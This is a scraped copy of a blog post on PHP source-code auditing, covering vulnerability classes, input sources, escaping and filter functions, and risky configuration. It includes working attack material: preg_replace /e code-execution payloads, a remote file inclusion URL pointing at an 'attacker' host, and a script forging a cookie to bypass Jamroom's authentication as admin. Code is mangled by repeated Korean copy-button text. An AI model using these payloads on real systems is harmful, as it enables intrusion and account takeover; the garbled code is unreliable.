Additional notes in PHP source code auditing
From:http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/
Hi .
Today , I decide talk about some of my experience about methods of vulnerability discovery techniques through source code auditing .
if you remember , around 1 years ago , i wrote This article :
20 ways to php Source code fuzzing (Auditing)
some time ago “Stefan Esser” made The Poster on the PHP Security . I’m going to have a brief description about most them with my experience in PHP Source code Auditing :
Most PHP Vulnerability :
1-Cross Site Scripting (XSS)
2-Cross Site Request Forgery (CSRF)
3-SQL Injection
4-Insecure Session Handling
5-Session Fixation
6-Information Disclosure
7-Header Injection
8-Insecure Configuration
9-Weak randomness
(for more information about how to find this issue in your source code , read my article :
http://www.abysssec.com/blog/2009/03/php_fuzz_audit/
And another describe [ Finding vulnerabilities in PHP scripts FULL ( with examples )]:
http://www.milw0rm.com/papers/381
These problem due to inaccuracy in ((In summary):
I ? Secure Input Handling :
accept input from users without carefully to what is injected.
II ? Sanitising :
Sanitizing functions can be used to “repair” user input, according to the application‘s restrictions (e.g. specific datatypes, maximum length) instead of rejecting potentially dangerous input entirely. In general, the use of sanitizing functions is not encouraged, because certain kinds and combinations of sanitizing filters may have security implications of their own. In addition, the automatic correction of typos could render the input syntactically or semantically incorrect.
for example :
III- Escaping :
There are several different kinds of escaping:
? The backslash prefix “\” defines a meta character within strings. For Example: \t is a tab
space, \n is a newline character, … This can be of particular interest for functions where the newline character has a special purpose, e.g. header(). Within regular expressions the backslash is used to escape special characters, such as \. or \*, which is relevant for all functions handling regular expressions.
? HTML encoding translates characters normally interpreted by the web browser as HTML into their encoded equivalents ? e.g. is > or > or >. HTML encoding should be used for output handling, where user input should be reflected in HTML without injecting code. (See also: htmlentities())
? URL encoding makes sure, that every character
not allowed within URLs, according to RFC 1738, is properly encoded. E.g. space converts to + or %20 and
IV ? Configuration :
Programming errors, including logic program.
well , we know there are 4 points that can help us in the process :
1 ? Our PHP inputs Points :[we need to find them and all functions and variables , that these have been assigned to them .]
input Point in PHP.Programing are :
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
Very good , the second point : our problem begine here . we can’t find Problem in source code like the past . Because Programmers use the limitation function . for Example , wherever you see the fllowing functions that contol input variable , possibly as many attacks are carried out . so you have two solutions : find problem in logic of code or find PHP bug in PHP CORE !
A) Escaping and Encoding Functions :
A-1 (XSS dies = 90% The direct transition is a dream) :
? htmlspecialchars() , Escapes the characters & as HTML entities to protect the application against XSS. The correct character set and the mode : ENT_QUOTES should be used.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpecho "Hello " . htmlspecialchars( $_GET['name'], ENT_QUOTES);?> 로그인 후 복사 |
? htmlentities() , Applies HTML entity encoding to all applicable characters to protect the application against XSS. The correct character set and the mode ENT_QUOTES should be used.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpecho "Hello " . htmlentities( $_GET['name'], ENT_QUOTES);?> 로그인 후 복사 |
( htmlentities() bypass in special case [utf7] : http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html )
? urlencode() , Applies URL encoding as seen in the query part of a URL.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?php$url = "http://www.example.com/" . "index.php?param=" . urlencode($_GET['pa']);?> 로그인 후 복사 |
A-2 : (SQL injection dies = 90% The direct transition is a dream) :
? addslashes() , Applies a simple backslash escaping. The input string is assumed to be single-byte encoded. addslashes() should not be used to protect against SQL injections, since most database systems operate with multi-byte encoded strings, such as UTF-8.
? addcslashes() , Applies backslash escaping. This can be used to prepare strings for use in a JavaScript string context. However, protection against HTML tag injection is not possible with this function.
(bypass addslashes() in special case : http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html)
? mysql_real_escape_string(), Escapes a string for use with mysql_query(). The character set of the current MySQL connection is taken into account, so it is safe to operate on multi-byte encoded strings.
Applications implementing string escaping as protection against SQL injection attacks should use this function.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?php$sql = "SELECT * FROM user WHERE" . " login='" . mysql_real_escape_string( $_GET['login'], $db) . "'";?> 로그인 후 복사 |
A-3 : (XSS , SQl Inject = 100% The direct transition is a dream) :
? preg_quote() , Should be used to escape user input to be inserted into regular expressions. This way the regular expression is safeguarded from semantic manipulations.
Fix code :
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?php$repl = preg_replace('/^' . preg_quote($_GET['part'], '/'). '-[0-9]{1,4}/', '', $str);?> 로그인 후 복사 |
issue Code [Command Execute] :
1234 로그인 후 복사 로그인 후 복사 | <?php$h = $_GET['h'];echo preg_replace("/test/e",$h,"jutst test");?> 로그인 후 복사 |
It works like this: http://site.com/test.php?h=phpinfo()
? escapeshellarg() , Escapes a single argument of a shell command. In order to prevent shell code injection, single quotes in user input is being escaped and the whole string enclosed in single quotes.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpsystem('resize /tmp/image.jpg' . escapeshellarg($_GET['w']).' '. escapeshellarg($_GET['h']));?> 로그인 후 복사 |
? escapeshellcmd() , Escapes all meta characters of a shell command in a way that no additional shell commands can be injected. If necessary, arguments should be enclosed in quotes.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpsystem(escapeshellcmd( 'resize /tmp/image.jpg "' . $_GET['w']) . '" "' . $_GET['h']) . '"'));?> 로그인 후 복사 |
B- CType Extension :
By default, PHP comes with activated CType extension. Each of the following functions checks if all characters of a string fall under the described group of characters:
? ctype_alnum()alphanumeric characters ? A-Z, a-z, 0-9
? ctype_alpha()alphabetic characters ? A-Z, a-z
? ctype_cntrl() control characters ? e.g. tab, line feed
? ctype_digit()numerical characters ? 0-9
? ctype_graph()characters creating visible output e.g. no whitespace
? ctype_lower()lowercase letters ? a-z
? ctype_print()printable characters
? ctype_punct()punctuation characters ? printable characters, but not digits, letters or whitespace, e.g. .,!?:;*&$
? ctype_space()whitespace characters ? e.g. newline, tab
? ctype_upper()uppercase characters ? A-Z
? ctype_xdigit() hexadecimal digits ? 0-9, a-f, A-F
12345 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpif (!ctype_print($_GET['var'])) {die("User input contains ". "non-printable characters");}?> 로그인 후 복사 |
C ? Filter Extension ? ext/filter
Starting with PHP 5.2.0 the filter extension has provided a simple API for input validation and input filtering.
? filter_input()Retrieves the value of any GET, POST, COOKIE, ENV or SERVER variable and applies the specified filter.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?php$url = filter_input(INPUT_GET, 'url', FILTER_URL);?> 로그인 후 복사 |
? filter_var()Filters a variable with the specified filter.
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?php$url = filter_var($var, FILTER_URL);?> 로그인 후 복사 |
List of Filters :
Validation Filters
? FILTER_VALIDATE_INTChecks whether the input is an integer numeric value.
? FILTER_VALIDATE_BOOLEANChecks whether the input is a boolean value.
? FILTER_VALIDATE_FLOATChecks whether the input is a floating point number.
? FILTER_VALIDATE_REGEXPChecks the input against a regular expression.
? FILTER_VALIDATE_URLChecks whether the input is a URL.
? FILTER_VALIDATE_EMAILChecks whether the input is a valid email address.
? FILTER_VALIDATE_IPChecks whether the input is a valid IPv4 or IPv6.
Sanitising Filters
? FILTER_SANITIZE_STRING / FILTER_SANITIZE_STRIPPEDStrips and HTML-encodes characters according to flags and applies strip_tags().
? FILTER_SANITIZE_ENCODEDApplies URL encoding.
? FILTER_SANITIZE_SPECIAL_CHARSEncodes ‘ ” < > & \0 and optionally all characters > chr(127) into numeric HTML entities.
? FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.
? FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.
? FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.
? FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.
? FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().
Other Filters
? FILTER_UNSAFE_RAWIs a dummy filter.
? FILTER_CALLBACKCalls a userspace callback function defining the filter.
D) HTTP Header Output
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.
Dynamic content within parameters to Location
or Set-Cookie headers should be escaped by urlencode().
For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.
1234 로그인 후 복사 로그인 후 복사 | <?phpif (strpbrk($_GET['type'], ";/\r\n")) die('invalid characters');header("Content-Type: text/" . $_GET['type'] . "; charset=utf-8;");?> 로그인 후 복사 |
Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.
E)Secure File Handling:
? Detect and replace NULL bytes:
12345 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpif (strpos($_GET["f"], "\0") === true) {$file = str_replace("\0", "", $_GET["f"]);}?> 로그인 후 복사 |
? Prevent remote file inclusion (path prefix) and directory traversal (basename):
123 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?php$file = "./".basename($_GET["f"]). ".php";?> 로그인 후 복사 |
? Include only whitelisted files:
12345 로그인 후 복사 로그인 후 복사 로그인 후 복사 | <?phpif (in_array($_GET['action'], array('index', 'logout'))) {include './'.$_GET['action'] . '.php';} else die('action not permitted');?> 로그인 후 복사 |
3) Configuration point :
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .
we sea these Fllowing Configuration in code or PHP.ini Setting :
[a]- when Server don’t Disabling Remote URLs for File Handling Functions
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(‘http://www.example.com/’, ‘r’)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.
[b] Register Globals is ‘ON’ :
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it’s disabled by default from PHP 4.2.0 and on, because it’s dangerous on so many scales.
123456 로그인 후 복사 | <?phpif (ereg("test.php", $PHP_SELF)==true){ include $server_inc."/step_one_tables.php";}?> 로그인 후 복사 |
demonstration :
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
[c] Server Don’t Limit Access to Certain File Name Patterns :
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn’t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc
Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.
Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn’t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~
[d] Error Messages and Logging is ON :
By default, PHP prints error messages to the browser’s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.
.
And many other attacks, usually design by the programmer !
Real Word Example :
Exp 1 : PHP Code Execution:
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.
1234567 로그인 후 복사 | <?php// Replace any usernames$ret = preg_replace("#\[:nom:([^\]]*)\]#e", "username(0, trim(\"\\1\"))", $ret); ?> 로그인 후 복사 |
php code execution is possible via complex variable evaluation.
[:nom:{${phpinfo()}}]
or this code :
1234567891011 로그인 후 복사 | <?phpif($globals['bbc_email']){ $text = preg_replace(array("/\[email=(.*?)\](.*?)\[\/email\]/ies","/\[email\](.*?)\[\/email\]/ies"),array('check_email("$1", "$2")','check_email("$1", "$1")'), $text); }?> 로그인 후 복사 |
abuse :
[email]{${phpinfo()}}[/email]
2- Configuration mistake : Authentication Bypass
There is a serious flaw in the Jamroom (JamRoom <= 3.3.8) authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function
12345678910111213141516 로그인 후 복사 | <?phplist($user,$hash) = unserialize(stripslashes($_val));$user = trim(genc('get',$user));$req = "SELECT user_nickname, user_passwordFROM {$jamroom_db['user']}WHERE user_nickname = '". dbEscapeString($user) ."'LIMIT 1";$_rt = dbQuery($req,'SINGLE');if (strlen($_rt['user_password']) === 0) {return(false);}if (md5($_rt['user_password'] . $sect) == $hash) {print_r($rt);return($_rt);}?> 로그인 후 복사 |
The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.
123456789101112 로그인 후 복사 | <?php$data = array();$user = 'admin'; // Target $data[0] = base64_encode(serialize($user));$data[1] = (bool)0;echo "\n\n===[ 0 ] ========================\n\n";echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));$data[1] = (bool)1;echo "\n\n===[ 1 ] ========================\n\n";echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));?> 로그인 후 복사 |
The above script is an example of how it works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the “identical” operator.
3- new bug :
http://www.sektioneins.com/en/advisories/advisory-022009-phpids-unserialize-vulnerability/index.html
in other post , i will publish some of our most recent research on browsers security and results we got on this topic as i promised in a few past posts .
regards
daphne

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











종종 키워드와 추적 매개 변수로 혼란스러워하는 긴 URL은 방문자를 방해 할 수 있습니다. URL 단축 스크립트는 솔루션을 제공하여 소셜 미디어 및 기타 플랫폼에 이상적인 간결한 링크를 만듭니다. 이 스크립트는 개별 웹 사이트 a에 유용합니다

Instagram은 2012 년 Facebook에서 유명한 인수에 이어 타사 사용을 위해 두 개의 API 세트를 채택했습니다. Instagram Graph API 및 Instagram Basic Display API입니다. 개발자는

Laravel은 직관적 인 플래시 방법을 사용하여 임시 세션 데이터 처리를 단순화합니다. 응용 프로그램에 간단한 메시지, 경고 또는 알림을 표시하는 데 적합합니다. 데이터는 기본적으로 후속 요청에만 지속됩니다. $ 요청-

이것은 Laravel 백엔드가있는 React Application을 구축하는 데있어 시리즈의 두 번째이자 마지막 부분입니다. 이 시리즈의 첫 번째 부분에서는 기본 제품 목록 응용 프로그램을 위해 Laravel을 사용하여 편안한 API를 만들었습니다. 이 튜토리얼에서는 Dev가 될 것입니다

Laravel은 간결한 HTTP 응답 시뮬레이션 구문을 제공하여 HTTP 상호 작용 테스트를 단순화합니다. 이 접근법은 테스트 시뮬레이션을보다 직관적으로 만들면서 코드 중복성을 크게 줄입니다. 기본 구현은 다양한 응답 유형 단축키를 제공합니다. Illuminate \ support \ Facades \ http를 사용하십시오. http :: 가짜 ([ 'google.com'=> 'Hello World', 'github.com'=> [ 'foo'=> 'bar'], 'forge.laravel.com'=>

PHP 클라이언트 URL (CURL) 확장자는 개발자를위한 강력한 도구이며 원격 서버 및 REST API와의 원활한 상호 작용을 가능하게합니다. PHP CURL은 존경받는 다중 프로모토콜 파일 전송 라이브러리 인 Libcurl을 활용하여 효율적인 execu를 용이하게합니다.

고객의 가장 긴급한 문제에 실시간 인스턴트 솔루션을 제공하고 싶습니까? 라이브 채팅을 통해 고객과 실시간 대화를 나누고 문제를 즉시 해결할 수 있습니다. 그것은 당신이 당신의 관습에 더 빠른 서비스를 제공 할 수 있도록합니다.

2025 PHP Landscape Survey는 현재 PHP 개발 동향을 조사합니다. 개발자와 비즈니스에 대한 통찰력을 제공하는 프레임 워크 사용, 배포 방법 및 과제를 탐색합니다. 이 조사는 현대 PHP Versio의 성장을 예상합니다
